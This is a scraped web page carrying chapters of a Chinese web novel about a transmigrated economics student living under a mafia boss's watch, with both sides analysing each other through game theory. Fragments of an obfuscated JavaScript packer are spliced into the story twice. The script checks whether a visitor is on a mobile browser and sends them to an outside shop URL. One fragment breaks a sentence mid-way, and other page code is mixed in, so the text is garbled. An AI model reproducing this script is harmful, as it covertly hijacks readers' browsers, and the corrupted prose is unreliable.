“他甚至不确定自己是不是在下一盘棋。” 马可的眉头皱了起来:“Boss您的意思是?” “他的很多行为是靠直觉驱动的,”洛伦佐说,“签合同的时候逐条比对条款,是他的职业习惯。问WiFi密码,是他的生活习惯。送礼物,是他的社交习惯。这些行为本身没有经过刻意的‘策略设计’,是他的性格自动完成了这些动作。” 他用笔在纸上画了一个箭头,从一个圆圈指向另一个。 “但效果是一样的。不管他是有意还是无意,他都在改变这个环境对他的定义。他在用自己的方式,一寸一寸地扩大自己的安全区域。” 洛伦佐把笔放下,靠在椅背上。 “这才是最可怕的地方。” 西里森眨了眨眼。“可怕?” “如果他是刻意谋划的,那我只需要防备他的策略。如果他是完全无意识的,那我只需要应对他的本能。”洛伦佐把玩着手上的钢笔,眼底沉入无波澜的深潭,“但他介于两者之间——他有意识的部分足够让他做出精准的判断,无意识的部分又让他的行为看起来完全自然、没有攻击性。” 他的嘴角弯起一个弧度,带着某种猎人发现有趣猎物时的兴致。 “你永远不知道他的哪一个举动是算计过的,哪一个举动是纯粹的天然呆。这种不确定性,让他变得非常难以预测。” 马可低头看了一眼自己手里的按摩仪。 “所以他送我按摩仪,”他慢慢地说,“可能只是单纯地想感谢我,也可能是想测试我的反应,也可能是两者都有。” “正确,”洛伦佐说,“而最有趣的是,他自己可能也不知道。” 他端起空了的咖啡杯,又放下,似乎觉得再去续一杯太麻烦了。 “这就是为什么我让你们去接触他,”洛伦佐竖起食指轻挡唇珠,“我要的不仅是你们观察到的行为数据,还有你们的直觉判断。当一个长期从事安全工作的人,面对一个无法简单归类的人时,他的直觉会告诉他什么。” 他看着马可。 “你的直觉是什么?” 马可沉默了很久。他低头看着手里的按摩仪。 “我不知道,”他终于说,声音比平时轻了一些,“我不讨厌他。” 洛伦佐的眉毛微微挑了一下。能让马可说出“不讨厌”这三个字,已经是一个相当高的评价了。 “但他很烦,”马可补充道,语气恢复了那种公事公办的平静,“每天都有新的问题,每天都有新的要求,每天都有让我不知道该怎么接的话。” 洛伦佐的嘴角弯了一下。 “这就是他的策略,”他说,“他踩在边界线上,用一些看起来琐碎的小事来让你不知道该怎么接话,你就没办法用一个固定的模式来对待他。在零和博弈中,最优策略是让对方无法预测你的下一步。你必须每次都重新思考,而每一次重新思考,都是在消耗你的精力,也是在增加你对他的认知复杂度。” 他在白纸上又写了一个词:复杂。 “人对简单的事物容易产生惯性,对复杂的事物却必须保持注意力。”洛伦佐说,“他在强迫你们对他保持注意力。而注意力本身,就是一种资源投入。当你对一个人投入了足够多的注意力,你就会开始在意他。” 西里森的眉头皱得更紧了。 “所以他问我抹茶拿铁的事——” “是在让你参与到他的日常生活里,”洛伦佐说,“你回答了他的问题,你就成了‘帮他解决过咖啡机问题的人’。这个身份会让你对他的认知从一个‘监视对象’变成一个‘需要照顾的小孩’。而后者,更容易让人放下戒备。” 西里森沉默了,他低头看着自己的手,那只手在昨天下午帮林恩从堵塞的咖啡机出水口里抠出了最后一坨抹茶粉。 他当时只觉得这件事很荒谬,现在他知道了,那个留学生可能正在旁边暗中观察他的反应。 “这个小鬼,”西里森低声说,话里带着一种说不清是恼怒还是好笑的情绪,“到底是不是故意的?” 洛伦佐再一次笑了,那是一种真正的、从胸腔里发出的带着共鸣的笑。翠绿色的眼睛弯成好看的弧度,。 “这就是最妙的地方,”男人的笑声似乎还残留在空气里,“你永远没办法确定。他可以一边真诚地因为喝不到抹茶拿铁而痛苦,一边冷静地观察你愿意为他解决这个问题的程度。这两个想法在他脑子里是同时发生的,不冲突。” 他把招财猫拿起来,在手里掂了掂,感受着陶瓷的质感和分量。 马可沉默了片刻。 “但林恩的算计,让人讨厌不起来。” “因为他的算计里没有恶意,”洛伦佐说,“只有生存。” 他靠在椅背上,翠绿色的眼睛看着天花板,沉默了几秒钟。 “他让我想起博科尼的一个教授,”洛伦佐说,声音里带着一种回忆的语气,“教博弈论的。七十多岁了,满头白发,上课的时候喜欢用足球比赛来解释纳什均衡。有一次他讲到一个概念——‘合作的进化’。” 马可和西里森安静地听着。 “他说,在重复博弈里,最优策略不是一直欺骗,也不是一直合作,而是‘以合作开始,然后模仿对方上一轮的行为’。你对我好,我就对你好。你对我坏,我就对你坏。简单,透明,可预测。” 洛伦佐的目光从天花板上收回来,落在桌上那只招财猫上。 “林恩的所有行为,都是‘以合作开始’。他送我礼物,是在假设我会善意回应。他问WiFi密码,是在假设我们愿意让他过上正常的生活。他申请聚会许可,是在假设我会理性评估风险收益。” 他回忆起了每一次林恩向他提要求的样子,纤细的东方人脸上带着一种乖巧却并不怯懦的笑容,目光清澈,说的话却显得理直气壮。 “他在用博弈论的最优策略跟我相处。” 书房里的阳光已经移到了地板的另一端,光带的颜色从金黄变成了柔和的琥珀色。 西里森深吸一口气。 “BOSS,所以您对他的态度是……” 洛伦佐没有立刻回答。他看着桌上那只招财猫,金色的陶瓷在琥珀色的光线里泛着温暖的光。 他伸出手,把招财猫又转了九十度,让它重新对着门口。 “他一直在计算,但唯独漏算了一点。” 马可和西里森看着洛伦佐。 “他一直用经济学的方式理解我,”男人端着一点漫不经心的奇妙笑意,修长的手指在灯光下仿若刷上了一层细腻的瓷釉,“但他忘了一件事——经济学假设人是理性的,而我不是。” 马可和西里森对视了一眼。这次对视的时间比之前长了一些,里面包含的信息也更复杂。 “你们可以出去了。”洛伦佐说。 马可和西里森站起来,微微欠身,转身走向门口。 “马可。” 马可停下脚步,转过身。 洛伦佐指了指他手里的按摩仪。“那个,好用吗?” 马可低头看了一眼手里的灰色U型枕:“Boss,我还没试。” 洛伦佐微笑起来:“试完了告诉我。” “是。” “出去吧。” 马可和西里森退出了书房。门关上的那一刻,西里森长长地呼出一口气,压低声音对马可说:“BOSS对那个留学生,是不是有点太......” 马可看了他一眼,那个眼神的意思是“闭嘴,干活。” --- 我把三根檀香插在笔筒里,对着所有的画像拜了拜,然后坐回书桌前,翻开《宏观经济学》第七章。 但我的脑子在同时处理另一件事。 另一件不需要写在纸上、不需要被任何人知道的事。 我在分析洛伦佐。 他问我信仰什么,问我为什么拜柯南,问我如果拜了没用怎么办。他看似在闲聊,实际上在收集信息。他在构建我的心理画像,在测试我的反应模式,在判断我是一个什么样的人。 他可能以为我不知道。 但我是穿书者。 虽然我对原著的记忆已经模糊了大半,只记得几个关键节点和人物标签,但有一个信息是我永远不会忘的:原书里的洛伦佐·维斯科尼,是一个什么样的人。 原著里的洛伦佐,他身上的标签很简单:狠厉、无情、果断、占有欲强、对女主执着到偏执。原著里的大部分篇幅都在写他“做了什么”,而不是“在想什么”。他的形象是通过行动塑造的,他杀人、他抢女主、他沉船、他铲除异己。读者很少看到他花时间跟一个不重要的人玩心理博弈。 但现在的洛伦佐,跟原著里的那个洛伦佐,不太一样。 或者说,多了很多原著里没有的层次。 他会在书房里看经济学教材。他会在博科尼读过金融学本科。他会在看到我的账本批注之后,拿出真正的那本让我分析。他会让手下监视我的一举一动,然后把观察结果汇总给他,花时间分析我的性格、行为模式、思维逻辑。 原著里的洛伦佐,不会做这些事,原著里的洛伦佐没有这么……复杂。 我在脑子里翻了翻记忆的库存,那些记忆已经碎成了渣,只剩几个关键词。 我连配角的名字都记不全,更别提配角的性格了。 现在,我唯一的优势,就是这残存的信息差。 但信息差只有在对剧情走向有清晰预判的时候才有用,我现在连女主长什么样都快忘了,唯一大概记得的就是“她会出现,然后洛伦佐会为了她发疯”。 哦对了,原书里的“我”是被沉海的那个。 这意味着什么?意味着在原剧情里,洛伦佐对林恩的评价是“碍眼”。不是“有用”,不是“有趣”,是“碍眼”。 一个碍眼的、不值得多看一眼的路人甲,直接被处理掉了。 但现在,他不仅没有处理我,还给我签了合同、买了衣服、配了新电脑、批了聚会许可。 这不对。 这完全不对。 我的笔尖在纸上画了一个圈,把“稳态”两个字圈了起来。 不是因为洛伦佐变了,而是因为……我改变了和他的互动模式。 原著里的林恩是什么样的人?是一个普通的留学生,没有穿书者的认知,没有那种“在任何环境下都要计算风险和收益”的本能。原著里的林恩大概真的就是不小心和女主走得有点近,然后触碰到了洛伦佐的‘雷区’被沉海。 而现在,他用枪说话,我用合同说话。他用权力说话,我用规则说话。他用威胁说话,我用风险评估说话。 他出拳,我拆招,他挖坑,我绕路,他试探,我假装不知道。 他在观察我,就像我在观察他。他在分析我,就像我在分析他。他在试图理解我为什么会做出那些在他看来“不正常”的行为,就像我在试图理解他为什么对我和原书描述不一样。 他认为他主动在跟我下棋。 但我也在主动在跟他下棋。 这是双向的,他是我见过的最聪明的对手,也是最耐心的对手。他不会轻易暴露自己的真实意图。 就像一条盘踞在深潭里的蛇,安静地、不动声色地观察着水面上的每一个涟漪。 但我用的棋路,跟他不一样。 他下的是国际象棋:王、后、车、马、象、兵,每个棋子有不同的走法,目标是“将死”对方的王。每一步都有明确的进攻意图,都是在压缩对方的生存空间,都是在测试对方的底线。他喜欢掌控全局,喜欢预测对方的每一步,喜欢在对方还没反应过来之前就已经布好了局。 而我下的是围棋:没有固定的棋子价值,没有绝对的“王”,目标是“围空”。每一步看起来都很散,没有明显的进攻性,但每颗棋子都在扩展自己的领地、压缩对方的空间。你永远看不出我的目的,因为我不需要吃掉他的王,我只需要围出足够大的空地。 他出车,我落子在棋盘对角,他跳马,我落在天元附近,每一颗棋子都很小,小到不值得他在意。但当棋盘上堆满了几百颗这样的棋子,想把整盘棋掀翻的成本,就会变得无穷大。 洛伦佐大概也意识到了这一点,因为他的反应变了。从最开始的“你在逗我”变成了“你有点意思”,从“你有点意思”变成了“我看看你还能做什么”,从“我看看你还能做什么”变成了“我批准你做什么”。 他在享受这个博弈的过程。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449728|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这让我想起了博弈论中的“重复囚徒困境”。 在单次博弈里,最优策略是背叛,但在重复博弈里,最优策略是“以合作开始,然后模仿对方上一轮的行为”。 我一直在合作,我问他能不能开线上会议,他同意了。我问他能不能参加聚会,他批准了,我问他能不能买快递,他允许了,然后我送了他礼物。 他合作,我就继续合作,他不合作——不,到目前为止,他还没有完全不合作过。 但他的“合作”不是出于善意,是出于好奇和掌控欲。他想看看我还能做出什么离谱的事,想看看我的底线在哪里,想看看我什么时候会犯错。 他不是在跟我合作,他是在“允许”我表演。 而我,在表演的同时,也在收集他的数据。 他的每一个反应,都在告诉我他的偏好、他的容忍度、他的思维方式。 我放下笔,靠在椅背上,看着对面墙上柯南的画像。黑框眼镜、蓝西装、红领结、踩着足球,一只手指着前方,自信得像刚破完第十个案子。 “真相只有一个。”我闭上眼,自言自语道。 但真相是,我不知道这盘棋会下到什么时候,也不知道最终的结局是什么,我甚至不确定自己是在下棋,还是在被下。 因为我唯一的优势,就是那点残存的信息差。 原著里的洛伦佐狠厉、无情、果断、占有欲强、对女主执着到偏执。这些标签现在还有效吗?有些有效,有些可能已经失效了。他的狠厉还在,仓库里的那枪就是证明。他的果断还在,签合同的速度就是证明。他的无情……好像没有原著里那么彻底了,至少对我不是。 是我改变了他的行为轨迹?还是因为原著里他本来就有这些侧面,只是没有被写出来? 我不知道。 这就是穿书者的困境,我知道一些别人不知道的事,但我知道的那些事,可能已经不成立了。因为改变了剧情,我让原本不会发生的互动发生了,让原本不会出现的关系出现了。 我的信息差在逐渐贬值,每一天都在贬值。 等到我的信息完全失效的那一天,唯一的武器,就是我自己的脑子。 我把草稿纸翻回来,看着那些公式,黄金律水平、稳态、储蓄率……这些是确定性的,是可预测的,是不会突然变卦的。数学公式不会因为心情不好而改变结果,不会因为觉得“有趣”而改变规则,在数学的世界里,1+1永远等于2,不管你是谁,不管你在哪里。 这就是我喜欢经济学的原因。不是因为它简单,是因为它诚实。它告诉你,资源是稀缺的,选择是有代价的,没有免费的午餐。 洛伦佐就是我的数据模型。 我收集他的反应数据,跑回归,看他的行为模式。我加控制变量:年龄、背景、教育程度、职业、性格标签。我看残差:那些他“按理说应该做但没有做”或者“按理说不应该做但做了”的事情。 残差最大的那个点,是推荐信。 一个Mafia首领,在被一个留学生要求写推荐信的时候,没有嘲讽、没有拒绝、没有用那片海来威胁。他说的是——“到时候我亲自给你写。” 这不符合原著里的洛伦佐,原著的洛伦佐绝不可能写推荐信,不会为了任何人的“学术申请”浪费一秒钟。他只会为了女主做不符合人设的事。 但我是男配,不是女主。 这个残差太大了。大到让我怀疑自己是不是记错了原著剧情,大到让我怀疑自己是不是穿错了角色,大到让我怀疑——洛伦佐对我,到底是一种什么样的态度? 老板对员工?猫对老鼠?猎人对猎物?还是——别的什么? 我想了想,把这个疑问暂时放进了一个叫“待定”的文件夹。 我现在没有足够的数据来跑这个回归,样本量太小,变量太多,模型设定不确定,结论不可靠。 等到样本量够了,再跑一次回归。 我拿起笔,在草稿纸的空白处写了一行小字。 “洛伦佐·维斯科尼——行为模型初版。” 然后在这行字下面写了几条。 第一,他是一个理性人,但他的理性不是经济学的“完全理性”,是“在给定约束下追求最优解”的有限理性。他的约束包括家族利益、个人安全、情感偏好,以及某种我说不清楚的、属于他自己的“趣味性”函数。 第二,他享受博弈的过程。他不满足于“赢”,他想要“赢得很精彩”。这意味着他不会在游戏还没结束的时候提前结束,他愿意给对手留出发挥空间。对他来说,一个弱的对手是无趣的,他不会杀我,因为我对他来说……暂时有趣。 第三,他对我没有敌意。这一点是最重要的,也是我最不确定的。没有敌意不代表友善,不代表安全,不代表他不会在我越界的时候把我沉海。没有敌意只意味着,在当前这个时间点,他不想杀我。 至于以后会不会想,取决于我。 第四,他在观察我,就像我在观察他。他也在收集数据,也在跑回归,也在试图预测我的行为。他以为他在上风,因为他有权力、有资源、有枪。 但我比他更擅长分析数据。 因为这是我的专业。 我拿起笔,在草稿纸上画了一个坐标系。横轴是时间,纵轴是我的安全系数。初始值很低,大概零点二。然后每过一天,安全系数就涨一点点。每成功展现一次自己的能力,涨零点三。每获得一个新权限,涨零点零五。每送出一个礼物且被接受,涨零点零一…… 如果把这些点连起来,会得到一条斜率逐渐趋缓的曲线。就像稳态收敛路径:初始阶段增长快,越接近稳态,增长速度越慢。 我的稳态安全系数是多少? 我不知道。 但我知道,猫不会在玩腻之前吃掉老鼠。 不越界、不犯错、不让他觉得“碍眼”。 保持有用、保持有趣、保持无害。 这就是我能想到的最优解。 我放下笔,看了一眼窗外的天色。 海面上有星星点点的渔火,远处的天空从橘红变成了深蓝,又从深蓝变成了墨黑。 我把写在纸上的东西全部用黑笔涂掉,然后混在没用的草稿纸里撕碎了丢在垃圾桶里。关了灯,躺在床上,盯着天花板。 天花板很高,上面什么都没有,没有公式,没有曲线,没有稳态。只有一片纯净的、沉默的、无边无际的白色。 我想起今天在书房里,洛伦佐问我信仰什么的时候,我说“平时不怎么信,也就考试前拜一拜”。 我没说出口的那句话是——我现在信的是,你能让我活着考完试。 只要你让我活着考完试,我愿意在笔筒里多插三根香。玉皇大帝、财神爷、如来佛祖、孔子、柯南,外加拜一个洛伦佐·维斯科尼。 保佑我不挂科。 我翻了个身,把被子拉到下巴,闭上了眼睛。 脑中出现一张黑白棋盘,十九乘以十九,三百六十一个交叉点。白棋是我,黑棋是洛伦佐。棋盘上没有其他的棋子,因为这场博弈只有我们两个人。 然后我又忍不住翻了个身。 不能再想了,明天上午还要复习异方差性。加权最小二乘法的步骤还没完全记住,工具变量法的适用条件也还要再背一遍。 考试不会因为你在被Mafia软禁就给你加分。 教授不会因为你的老板是个杀人如麻的Mafia首领就给你降低分数线。 奖学金也不会因为你在Mafia庄园里住了两周就自动到账。 19. chapter19 别问我为什么一个每天靠咖啡续命的留学生会乖乖端起牛奶杯,问就是当BOSS把一杯牛奶推到你面前、用那种“你敢拒绝试试”的眼神看着你的时候,你会发现自己对咖啡因的依赖其实也没那么强。 以及,我昨天才在心里夸过他“不会在我越界之前动手”,今天他就用实际行动告诉我,你的咖啡摄入量,也在我的监控范围内。 这个男人的控制欲,比计量经济学作业里的变量还多。 - 我醒过来的时候,窗外的阳光已经爬到了书桌的边缘,把那本翻开的《高级宏观经济学》照得纸页泛金。我花了几秒钟完成从“我在哪”到“哦对我在Mafia庄园”的认知切换,然后踩着地暖走到卫生间,用那支电动牙刷认认真真刷了整整两分钟牙。 刷完牙之后我用温水洗了脸,对着镜子里那个头发翘起一撮、眼睛下面还带着淡淡青影的人看了两秒钟,昨晚推导洛伦佐行为模型推导到凌晨一点,睡眠质量约等于我在计量经济学课上打盹的质量。 有,但约等于没有。 我换好衣服,把那撮翘起来的头发用水按了按,拉开门。 走廊里安安静静的,楼梯间的墙上挂着一幅油画,画的是西西里的海岸,柠檬树、橄榄树、白色的石灰岩、远处一片蓝得发烫的海。我路过这幅画好几次了,每次都会多看两眼,因为画里那个柠檬树的画法让我想起老家里那棵长在棚屋旁边的树,枝干歪歪扭扭的,叶子绿得发黑,花是柠檬黄色的,远远看上去就像一盏盏小灯笼。 餐厅在一楼的东侧,和厨房之间隔着一道拱形的门洞。还没走到餐厅门口,我就听到了一个声音。瓷器轻轻碰撞瓷器的声音,杯子底碰到托盘的声音。 我的心跳漏了半拍。 洛伦佐坐在长桌的一端,面前放着一个白色的陶瓷盘,盘子里是两个可颂和一个煎蛋,旁边有一碟蔬菜沙拉。他手里拿着手机,翠绿色的眼睛盯着屏幕,另一只手端着咖啡杯,杯口冒着细细的热气。 他今天穿的是一件烟灰色的羊绒衫,领口露出一截白色衬衫的领子,袖口卷到手腕上方,露出一小截戴着腕表的手臂。晨光从落地窗斜射进来,在他黑色的头发上镀了一层薄薄的琥珀色光晕。 听到我的脚步声,他抬起头看了我一眼。 我站在餐厅门口,犹豫了大概零点五秒。按照正常的职场礼仪,看到老板在吃早餐,应该点头打个招呼,然后安静地坐到离他最远的位置上去。 “早上好,老板。”我说,声音比自己预想的要小一点。 洛伦佐没有抬头,翠绿色的眼睛依然盯着手机屏幕。但他微微点了一下头,那个幅度小到如果不是我一直在看他,根本不会注意到。 我走到边桌旁,拿起一个白色的陶瓷杯,准备给自己倒咖啡。咖啡机是那种全自动的,豆仓里装满了深烘的豆子,香气浓郁得让我还没喝就觉得精神了。我按下咖啡机的按钮,深褐色的液体开始流入杯子,油脂丰厚,颜色漂亮得不像话。 “放下。” 身后传来一个声音,不大,但很清楚。 我的手停在半空中,转过头,洛伦佐不知道什么时候放下了手机,翠绿色的眼睛正看着我。 “什么?”我问。 “咖啡,”他说,下巴朝咖啡机方向微微扬了一下,“今天不能喝。” 我看了看手里的咖啡杯,又看了看洛伦佐。 “为什么?” 洛伦佐没有回答,他从桌上拿起一个玻璃杯,放在桌面上推过来。玻璃杯里装着乳白色的液体。 牛奶。 我盯着那杯牛奶看了两秒钟,又看了看洛伦佐面前那杯浓缩咖啡,又看了看牛奶。 “喝这个。” 老板,”我斟酌了一下措辞,“我早上一般都习惯喝咖啡。” “你最近的咖啡因摄入量,”洛伦佐端起自己的咖啡杯,姿态优雅得像在拍广告,慢悠悠地抿了一口,“严重超标。” “老板,我觉得这个数据可能有误差,”我决定据理力争,“胶囊咖啡的咖啡因含量比浓缩咖啡低很多,一颗胶囊大概只有六十到八十毫克,正常成年人每天的咖啡因摄入上限是四百毫克。我算过了,我每天喝三颗胶囊也才两百毫克出头,完全在安全范围内——” “昨天你喝了五颗。” 我闭上了嘴。 他怎么连这个都查。 “还有前天晚上,”洛伦佐继续说,语气平静得像在念一份财报,“你十一点半喝了一杯,凌晨一点又喝了一杯。” 马可还是西里森?他们连我喝了几杯咖啡都记下来了? “你今天再喝,晚上就不用睡了。” 我的嘴角抽了一下。前天晚上我在跑那个怎么都通不过稳健性检验的回归模型,数据清洗了三遍还是有问题,p值大到让我怀疑人生。 我需要咖啡因来维持大脑运转,这是学术研究的刚需,可不是嘴馋。 当然我没敢把这些话说出来。我盯着洛伦佐面前那杯咖啡,杯子正在冒着热气,而他看起来完全没有要“限制自己咖啡因摄入”的意思。 双标。我心里默默念了一句。典型的意大利双标。只许州官放火,不许百姓点灯。 但我嘴上说的是:“谢谢老板。” 我拿起那杯牛奶。玻璃杯触手温热,大概是用蒸汽棒打过,表面浮着一层细密的奶泡。我端着牛奶在餐桌的另一端坐下,距离洛伦佐大概三个座位的位置,不远不近,刚好在“我在认真遵守您的指示”和“我没有刻意躲着您”之间的黄金分割点上。 喝了一口,是纯牛奶,没有加任何东西,醇厚的乳脂香气在舌尖化开,带着一丝天然的微甜。说实话,挺好喝的。我猜洛伦佐这里的牛奶不是超市里那种纸盒装的,是从附近农场直送的新鲜牛奶,煮过之后表面还会结一层奶皮。 我在出租屋的时候只买得起打折的UHT灭菌奶,保质期半年那种,喝起来总有一股隐隐约约的纸盒味。 但我还是想喝咖啡。 我端着牛奶杯,偷偷瞄了一眼洛伦佐面前的浓缩咖啡。那杯咖啡的色泽是深棕色的,表面浮着一层赭红色的油脂,在晨光里泛着缎子般的光泽。 “老板。” 洛伦佐从手机屏幕上抬起眼睛。 “我能加点蜂蜜吗?” 洛伦佐看着我。清晨的阳光在他翠绿色的眼瞳里投下一小片金色的光斑,让那双眼睛看起来比平时浅了一个色号。 他那个表情很难描述,像是“这种事情你也要问我”和“你到底要我说多少遍你才能记住”的混合体。 “这种事情,”他一字一顿地说,“不需要问我。” 我点了点头,站起来走向厨房。厨房在餐厅的左手边,是一间独立的房间,白色的橱柜,大理石的操作台,各种厨具擦得锃亮。 我在调料架上找到了蜂蜜罐,玻璃瓶里金色的液体在晨光里浓稠得像琥珀。拧开盖子,用小勺舀了半勺,回到餐桌前,搅进牛奶里。 蜂蜜在温热的牛奶中慢慢融化,我端起杯子喝了一口,甜度刚好,奶香里裹着一层淡淡的花香。 洛伦佐继续看他的手机,偶尔端起浓缩咖啡抿一口。他没有跟我说话,也没有表现出任何“我需要你离开”的意思。他就那么安静地坐在那里,像一只占据了最佳晒太阳位置的猫,享受着清晨的阳光和咖啡,对他人的存在保持着一种有距离的容忍。 我用牛奶杯挡着自己的脸,余光一直在观察他。 他很专注,翠绿色的眼睛顺着屏幕上文字的行列缓慢移动,偶尔在某一段停下来,眉头微微蹙起,像是在思考什么。阳光落在他手腕上,那只看起来很贵的腕表表盘反射出一小片圆形的光斑,在墙壁上轻轻晃动。 我收回目光,盯着杯子里的牛奶。蜂蜜已经完全融化了,液面上浮着几颗细小的气泡。我喝了一口,甜丝丝的。 大约过了十分钟,洛伦佐把最后一口浓缩咖啡喝完,拿起餐巾优雅地擦了擦嘴角。他折好餐巾放在盘子旁边,动作轻巧而精准,然后把手机放进口袋,准备起身。 “老板。”我开口了。 他的手撑在桌面上,微微抬起的那一点高度又降了回去。翠绿色的眼睛看着我,那个眼神的意思是“你又要干什么”。 “有个事情想跟您商量一下。” 洛伦佐靠回椅背,双手交叉放在腹部,下巴微微抬了一下,那个姿态的意思是“说”。 “下午的聚会,能不能提前两个半小时出发?” 洛伦佐的眉毛微微动了一下。“为什么?” “因为我要去一趟唐人街,还有华人超市,”我补充道,“今晚上的菜需要新鲜的猪肋排、番茄、鸭腿、粉丝,还有一些调料。有些东西在意大利的超市买不到,只有华人超市有。” 洛伦佐面无表情地看着我。 “唐人街的华人超市的猪肋排是每天早上从本地屠宰场直送的,肉质比超市冰柜里的好很多。番茄也是,意大利超市的番茄品种太少了,只有圆番茄和圣女果,华人超市有那种粉红色的、蒂部带青的沙瓤番茄,做番茄炒蛋最合适。啤酒的话——” “林恩。” 我条件反射地闭嘴。 “你把需要的食材列好清单,”洛伦佐说,声音平淡得像在安排一次例行任务,“让马可去给你买。” 我眨了眨眼。 让马可去买猪肋排。 我脑子里浮现出一个画面:一个一米九的西装壮汉站在华人超市的肉柜前,瞪着玻璃后面挂着一排猪肋排。旁边是一个说粤语的老太太,用带着浓重口音的意大利语问他“靓仔你要边条”。马可沉默。老太太以为他没听懂,改用更慢的语速又说了一遍。马可继续沉默。最后他随机指了一条,老太太用砍骨刀哐哐哐地剁成小块,装袋递给他,全程他一个字都没说。 这个画面过于生动,以至于我差点笑出声来,但我忍住了,因为洛伦佐正盯着我。 “老板,”我非常认真地询问,“马可知道怎么挑选猪肋排吗?” 站在门口的马可看过来,肩膀绷紧了一点,下巴微微抬了一下,但我无视了他的表情。 “挑选猪肋排要看肥瘦比例,”我说,“太肥了腻,太瘦了柴,要那种肥瘦相间的,花纹像大理石一样的。还得看骨头的大小,骨头太大肉就少,骨头太小说明不是肋排,话说马可你分得清肋排和脊骨吗?” 马可没有说话,但他的嘴角微微向下撇了一下。 “番茄,”我继续说,“要挑那种熟透的,番茄蒂的颜色是判断熟度的关键,深绿色的蒂说明摘下来没多久,浅绿色或者褐色的说明放了好几天了。蒂周围的果肉如果是微微发软的,说明熟度刚好。如果整个番茄都硬邦邦的,那是催熟的,炒不出汁水。” 马可依然没有说话,但他的目光已经移到了窗外,带着一种“我不想听但我不得不听”的认命。 “还有啤酒,”我加快语速,“啤酒鸭的啤酒要用淡啤,不能是黑啤,黑啤太苦会盖住鸭肉的鲜味。度数不用太高,大概四度到五度之间。华人超市有一种青岛啤酒,玻璃瓶的,绿色标签,那个就正好。如果那个卖完了,次选是荷兰的喜力,也是淡啤。但千万不要买德国的白啤,那个有果香味,跟八角桂皮混在一起会变成一种非常诡异的味道,我上次试过,翻车翻到整个厨房闻起来像——” “林恩。” 洛伦佐的声音里带着那种我熟悉的、介于“你再不闭嘴我就把你扔出去”和“我为什么要听这些”之间的疲惫。 我熟练地闭上嘴,但只闭了大概零点八秒。 “还有最后一件事,”我飞快地说,“从华人超市出来之后,要去一趟街角那家广东烧腊店。店名叫‘陈记’,红底黄字的招牌,门口挂着一排烧鸭叉烧。他家有一道卤水拼盘,里面有卤猪耳、卤牛腱、卤豆干,老板用老卤卤的,特别香。我每次去唐人街必买,这次想带一点给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为做饭这件事,食材的选择占了成败的一半,”我的语气真诚得像在跟导师解释为什么这个模型必须用固定效应而不是随机效应,“同样的菜谱,不同的人去采购,买回来的东西不一样,做出来的味道就不一样。红烧排骨的肋排要我自己挑,我才能保证每一块的大小均匀、肥瘦比例合适。啤酒鸭的鸭腿要我自己看,我才能确定是新鲜的而不是冷冻太久的。番茄炒蛋的番茄要我自己摸,我才能判断熟度。这些判断标准很难写进清单里,写出来也是‘挑选新鲜的’,跟没写一样。” 洛伦佐沉默了片刻。 “马可开车送你去。” 我的眼睛亮了一下。 “他会跟着你,全程不超过三步的距离。” “好的老板,”我忍住激动地想要蹦起来的心情,“没问题老板,谢谢老板。” 洛伦佐站起来,拿起桌上的手机,准备离开餐厅。晨光在他身后铺开,在他肩膀上镀了一层薄薄的金边。 “还有一件事。” 洛伦佐停下脚步,侧过头。 “老板,”我指了指他手里那个已经空了的浓缩咖啡杯,又指了指自己手里的牛奶杯,“您今天早上喝了一杯浓缩。一杯浓缩的咖啡因含量,大概等于我三颗胶囊的总和。” 洛伦佐的眉毛微微挑了一下。 “我只是想说,”我端起牛奶杯,用一种非常乖巧的语气说,“您的咖啡因摄入也请注意一下。浓缩咖啡每天超过四杯,长期下来胃会受不了的。” 我说完这句话的时候,空气凝固了大概两秒钟。 洛伦佐看着我,翠绿色的眼睛里有一种我从未见过的表情。他的嘴角慢慢弯起一个弧度,很小,小到如果不是我一直在盯着他的脸看,根本不会注意到。 “你在管我?” 比起质问更像是在确认一件不可能发生的事。 “不是管,”我纠正道,“是善意的提醒。作为您的财务顾问,您的健康也是家族资产的一部分,人力资本折旧过快不利于长期发展。” 洛伦佐看着我,沉默了一瞬间。 然后他笑了一下。很轻,很短,从喉咙里逸出来,带着一种被气笑的无奈和某种难以言说的愉悦。 “晚上不许过夜。”他说,“如果你不想我亲自过去。” 然后他转身走出了餐厅。 我低头吃自己的炒蛋,炒蛋很嫩,火候刚好,里面加了奶油,口感绵密得像在吃一朵云。蘑菇煎得微微焦黄,边缘有点脆,中间多汁。烤土豆外酥里嫩,撒了一点迷迭香,香气很足。 庄园的厨师做饭确实好吃,比学校食堂好吃一万倍。 虽然还是被监视的状态,但至少我能出去了,能去唐人街,能去华人超市,能去陈记买卤水拼盘,能用我自己的手挑选猪肋排和番茄。 我低下头,把最后一口牛奶喝完,舔了舔嘴角的奶泡,然后把空盘子和空杯子端到厨房,放进水槽里。阿姨正在擦灶台,看到我进来,笑着用意大利语说了一句“你真是个乖孩子”。 我用意大利语回了一句“谢谢您的早餐”,然后转身走出厨房。 马可还站在餐厅门口。 “几点?” “下午两点五十出发。” 马可的语气很平淡:“我会提前十分钟在客厅等你。” “好的。” 我快步走过走廊,上了楼梯,回到房间。关上门的那一刻,我长长地呼出一口气。 然后我翻开《宏观经济学》第七章,继续复习。 公式在脑子里转,数字在纸上跳。 但我的思绪时不时地飘到刚才那个画面上。 他到底是从什么时候开始让人记录我的咖啡摄取量的?是从我发现咖啡机可以免费喝的那一天? 他是不是觉得我喝咖啡太多了会影响工作效率? 不对,他连我的咖啡摄入量都要管,说明他把我当成了需要被“管理”的对象。 这种“管理”,比“监视”更进了一步。 监视是观察,管理是干预。 他在干预我的生活。 